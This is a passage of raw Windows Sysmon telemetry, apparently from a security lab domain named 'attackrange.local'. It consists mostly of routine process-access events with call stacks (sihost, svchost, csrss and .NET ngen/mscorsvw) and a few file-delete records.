14:44:48.307{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3fdee|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.307{7BD73061-6D0E-613B-8B06-00000000F001}45004832C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x101000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f400|C:\Windows\System32\modernexecserver.dll+47a8c|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 23542300x800000000000000044309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.307{7BD73061-6D0F-613B-9406-00000000F001}4480ATTACKRANGE\AdministratorC:\Windows\Explorer.EXEC:\Users\Administrator\AppData\Local\Microsoft\Windows\ActionCenterCache\microsoft-explorer-notification--d1f6275c-b9a0-a25e-7f73-51b54487be4c-_8_0.pngMD5=00E5FCFD833151F7CBDE607E2F7AFEB4,SHA256=B80192AAABE007BAECD0603E3CE183E9D554B8A6B0411D20716ACFA086AE3035,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.307{7BD73061-6D0E-613B-8B06-00000000F001}45004832C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+478ab|C:\Windows\System32\modernexecserver.dll+476e0|C:\Windows\System32\modernexecserver.dll+4763b|C:\Windows\System32\modernexecserver.dll+3985d|C:\Windows\System32\Windows.Shell.ServiceHostBuilder.dll+1781|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c 10341000x800000000000000044307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.307{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x101000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+1121|C:\Windows\System32\modernexecserver.dll+3f342|C:\Windows\System32\modernexecserver.dll+3fc6e|C:\Windows\SYSTEM32\twinapi.appcore.dll+2effb|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357b5|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.307{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3f0db|C:\Windows\System32\modernexecserver.dll+3fbe5|C:\Windows\SYSTEM32\twinapi.appcore.dll+2effb|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357b5|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.307{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3f0db|C:\Windows\System32\modernexecserver.dll+3f049|C:\Windows\System32\modernexecserver.dll+3fd2f|C:\Windows\System32\modernexecserver.dll+3fe52|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.307{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3f6a2|C:\Windows\System32\modernexecserver.dll+3fd1e|C:\Windows\System32\modernexecserver.dll+3fe52|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.307{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x101000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+1121|C:\Windows\System32\modernexecserver.dll+3f342|C:\Windows\System32\modernexecserver.dll+3fd0b|C:\Windows\System32\modernexecserver.dll+3fe52|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.307{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3fdee|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.307{7BD73061-6D0E-613B-8B06-00000000F001}45002724C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x101000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f400|C:\Windows\System32\modernexecserver.dll+47a8c|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 10341000x800000000000000044300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.307{7BD73061-6D0E-613B-8B06-00000000F001}45002724C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+478ab|C:\Windows\System32\modernexecserver.dll+476e0|C:\Windows\System32\modernexecserver.dll+4763b|C:\Windows\System32\modernexecserver.dll+3985d|C:\Windows\System32\Windows.Shell.ServiceHostBuilder.dll+1781|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c 10341000x800000000000000044299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.237{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F60-613B-5509-00000000F001}6584C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.217{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F60-613B-5509-00000000F001}6584C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.217{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F60-613B-5509-00000000F001}6584C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.182{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F60-613B-5409-00000000F001}1020C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.157{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F60-613B-5409-00000000F001}1020C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.157{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F60-613B-5409-00000000F001}1020C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.097{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F60-613B-5309-00000000F001}5820C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.082{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F60-613B-5309-00000000F001}5820C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.082{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F60-613B-5309-00000000F001}5820C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000013958Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:49.270{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C0162F69EAEEF803A25F53C73F304582,SHA256=50624484AE7B814FB293F6B93E81271904D7AC4D1BA7E682219AD03212B251A3,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.981{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F61-613B-6909-00000000F001}3944C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.959{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F61-613B-6909-00000000F001}3944C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.959{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F61-613B-6909-00000000F001}3944C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C